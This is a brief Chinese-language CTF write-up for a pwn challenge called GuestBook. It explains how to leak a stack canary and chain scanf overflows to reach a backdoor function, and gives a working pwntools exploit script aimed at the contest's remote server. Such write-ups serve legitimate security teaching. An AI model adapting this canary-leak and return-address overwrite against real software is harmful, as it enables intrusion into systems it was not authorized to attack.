DASCTF月赛 - GuestBook

From CBCTF x DASCTF

文件分析

下载GuestBook, NX on, PIE off, Canary on, RELRO partial
ghidra分析为64位程序

解题思路

name上就是canary，首先填满name使得canary值泄露；
还要注意输入时使用的是scanf，虽然可以栈溢出，但是遇到空字符会截断， 需要多次溢出，实现跳转到magic后门函数

EXPLOIT

from pwn import *
sh = remote('node4.buuoj.cn', 27847)

# payload 1, leak canary
sh.sendline(b'0'*23 + b'.')

sh.recvuntil(b'.\n') # skip
canary = u64(b'\0' + sh.recvuntil(b'!')[:7])
magicAddr = 0x4012c3

# payload 2, scanf 3 times to return to magic
sh.sendline(b'3')
sh.sendline(b'0'*0xa8 + p64(magicAddr)) # call magic, keep rsp balance
sh.sendline(b'0'*0x79 + p64(canary)[1:]) # fill canary except for the first 0x00
sh.sendline(b'0'*0x58) # fill canary 1st byte with 0x00

sh.interactive()

Done.